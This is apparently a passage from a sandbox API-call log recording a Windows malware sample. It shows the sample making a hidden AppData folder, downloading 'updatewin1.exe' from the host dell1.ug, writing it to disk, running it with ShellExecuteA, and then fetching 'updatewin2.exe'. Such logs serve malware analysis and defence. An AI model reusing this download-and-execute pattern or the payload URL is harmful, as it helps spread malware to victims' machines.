hHeap=0x4ff0000) returned 1 [0049.465] GetLastError () returned 0x54f [0049.465] SetLastError (dwErrCode=0x54f) [0049.465] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x30) returned 0x79a66c0 [0049.465] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x60) returned 0x793af08 [0049.465] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79e06d8 | out: hHeap=0x4ff0000) returned 1 [0049.465] GetLastError () returned 0x54f [0049.465] SetLastError (dwErrCode=0x54f) [0049.465] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x30) returned 0x79a6810 [0049.465] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x90) returned 0x79823d8 [0049.465] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x793af08 | out: hHeap=0x4ff0000) returned 1 [0049.465] GetLastError () returned 0x54f [0049.465] SetLastError (dwErrCode=0x54f) [0049.465] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x30) returned 0x79a6b20 [0049.465] GetLastError () returned 0x54f [0049.465] SetLastError (dwErrCode=0x54f) [0049.465] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7997bf0 | out: hHeap=0x4ff0000) returned 1 [0049.465] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0049.466] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathA") returned 0x760e7804 [0049.466] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x400) returned 0x79ccf38 [0049.466] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x79ccf38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0049.466] UuidCreate (in: Uuid=0xe36d768 | out: Uuid=0xe36d768) returned 0x0 [0049.467] UuidToStringA (in: Uuid=0xe36d768, StringUuid=0xe36d6c0 | out: StringUuid=0xe36d6c0) returned 0x0 [0049.467] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x30) returned 0x79a6b58 [0049.467] RpcStringFreeA (in: String=0xe36d6c0 | out: String=0xe36d6c0) returned 0x0 [0049.467] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", pMore="2d5ee28a-f782-4cc1-aa85-b49f8f019ddd" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd") returned 1 [0049.467] CreateDirectoryA (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd"), lpSecurityAttributes=0x0) returned 1 [0049.468] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x410) returned 0x79cd340 [0049.468] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x410) returned 0x79cd758 [0049.468] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x1000) returned 0x7a0ad00 [0049.468] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x79cd758, cbMultiByte=-1, lpWideCharStr=0x7a0ad00, cchWideChar=2048 | out: lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd") returned 81 [0049.468] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x1010) returned 0x7a0bd08 [0049.468] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a0ad00 | out: hHeap=0x4ff0000) returned 1 [0049.468] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79cd758 | out: hHeap=0x4ff0000) returned 1 [0049.468] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x18) returned 0x79b3cc8 [0049.468] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0049.468] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x40) returned 0x79bb430 [0049.468] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x860) returned 0x79cd758 [0049.468] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x79bb430, cbMultiByte=-1, lpWideCharStr=0x79cd758, cchWideChar=1072 | out: lpWideCharStr="http://dell1.ug/files/penelop/updatewin1.exe") returned 45 [0049.468] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x870) returned 0x7a0ad00 [0049.468] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79cd758 | out: hHeap=0x4ff0000) returned 1 [0049.468] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bb430 | out: hHeap=0x4ff0000) returned 1 [0049.468] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x870) returned 0x79cd758 [0049.468] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x830) returned 0x7a0cd20 [0049.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://dell1.ug/files/penelop/updatewin1.exe", cchWideChar=-1, lpMultiByteStr=0x7a0cd20, cbMultiByte=2096, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://dell1.ug/files/penelop/updatewin1.exe", lpUsedDefaultChar=0x0) returned 45 [0049.468] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x840) returned 0x7a0d558 [0049.468] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a0cd20 | out: hHeap=0x4ff0000) returned 1 [0049.468] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79cd758 | out: hHeap=0x4ff0000) returned 1 [0049.468] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://dell1.ug/files/penelop/updatewin1.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0050.879] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a0d558 | out: hHeap=0x4ff0000) returned 1 [0050.879] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0xe36d6d0, lpdwBufferLength=0xe36d710, lpdwIndex=0x0 | out: lpBuffer=0xe36d6d0*, lpdwBufferLength=0xe36d710*=0x4, lpdwIndex=0x0) returned 1 [0051.049] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x40) returned 0x79bb508 [0051.049] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x20) returned 0x50d0a30 [0051.049] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bb508 | out: hHeap=0x4ff0000) returned 1 [0051.049] lstrcpyA (in: lpString1=0x79ccf38, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd" [0051.049] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd", pMore="updatewin1.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe") returned 1 [0051.049] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x60) returned 0x793aea0 [0051.049] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5dc [0051.050] SetFilePointer (in: hFile=0x5dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0051.050] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0051.293] WriteFile (in: hFile=0x5dc, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.294] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0051.622] WriteFile (in: hFile=0x5dc, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.622] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0051.622] WriteFile (in: hFile=0x5dc, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.623] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0051.997] WriteFile (in: hFile=0x5dc, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.997] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0051.998] WriteFile (in: hFile=0x5dc, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.998] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0051.998] WriteFile (in: hFile=0x5dc, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.998] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0051.999] WriteFile (in: hFile=0x5dc, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.999] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0051.999] WriteFile (in: hFile=0x5dc, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.999] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0052.372] WriteFile (in: hFile=0x5dc, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.373] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0052.374] WriteFile (in: hFile=0x5dc, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.374] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0052.375] WriteFile (in: hFile=0x5dc, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.375] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0052.375] WriteFile (in: hFile=0x5dc, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.376] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0052.376] WriteFile (in: hFile=0x5dc, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.376] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0052.377] WriteFile (in: hFile=0x5dc, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.377] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0052.553] WriteFile (in: hFile=0x5dc, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.553] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0052.553] WriteFile (in: hFile=0x5dc, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.554] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0052.554] WriteFile (in: hFile=0x5dc, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.554] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0052.749] WriteFile (in: hFile=0x5dc, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.750] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0052.751] WriteFile (in: hFile=0x5dc, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.751] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0052.751] WriteFile (in: hFile=0x5dc, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.752] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0052.753] WriteFile (in: hFile=0x5dc, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.753] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0052.754] WriteFile (in: hFile=0x5dc, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.755] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0052.755] WriteFile (in: hFile=0x5dc, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.756] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0052.932] WriteFile (in: hFile=0x5dc, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.932] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0052.932] WriteFile (in: hFile=0x5dc, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.933] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0052.934] WriteFile (in: hFile=0x5dc, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.934] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0052.935] WriteFile (in: hFile=0x5dc, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.935] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0xa00) returned 1 [0052.935] WriteFile (in: hFile=0x5dc, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0xa00, lpOverlapped=0x0) returned 1 [0052.936] CloseHandle (hObject=0x5dc) returned 1 [0052.939] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0052.943] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0052.944] ShellExecuteA (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) returned 0x2a [0053.443] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x793aea0 | out: hHeap=0x4ff0000) returned 1 [0053.443] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x50d0a30 | out: hHeap=0x4ff0000) returned 1 [0053.443] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a0ad00 | out: hHeap=0x4ff0000) returned 1 [0053.443] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0053.443] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x40) returned 0x7a9fb68 [0053.443] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x860) returned 0x7a0ad00 [0053.443] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7a9fb68, cbMultiByte=-1, lpWideCharStr=0x7a0ad00, cchWideChar=1072 | out: lpWideCharStr="http://dell1.ug/files/penelop/updatewin2.exe") returned 45 [0053.443] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x870) returned 0x7a886e8 [0053.443] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a0ad00 | out: hHeap=0x4ff0000) returned 1 [0053.443] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a9fb68 | out: hHeap=0x4ff0000) returned 1 [0053.443] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x870) returned 0x7a0ad00 [0053.443] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x830) returned 0x7a6e8f8 [0053.443] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://dell1.ug/files/penelop/updatewin2.exe", cchWideChar=-1, lpMultiByteStr=0x7a6e8f8, cbMultiByte=2096, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://dell1.ug/files/penelop/updatewin2.exe", lpUsedDefaultChar=0x0) returned 45 [0053.443] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x840) returned 0x7a6f180 [0053.443] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a6e8f8 | out: hHeap=0x4ff0000) returned 1 [0053.443] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a0ad00 | out: hHeap=0x4ff0000) returned 1 [0053.444] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://dell1.ug/files/penelop/updatewin2.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0054.567] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a6f180 | out: hHeap=0x4ff0000) returned 1 [0054.567] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0xe36d6d0, lpdwBufferLength=0xe36d710, lpdwIndex=0x0 | out: lpBuffer=0xe36d6d0*, lpdwBufferLength=0xe36d710*=0x4, lpdwIndex=0x0) returned 1 [0054.567] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x40) returned 0x7a9fa48 [0054.567] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x20) returned 0x7a8c9f0 [0054.567] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a9fa48 | out: hHeap=0x4ff0000) returned 1 [0054.567] lstrcpyA (in: lpString1=0x79ccf38, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd" | out: lpString1="C:\\Users\\5p5NrGJn0jS 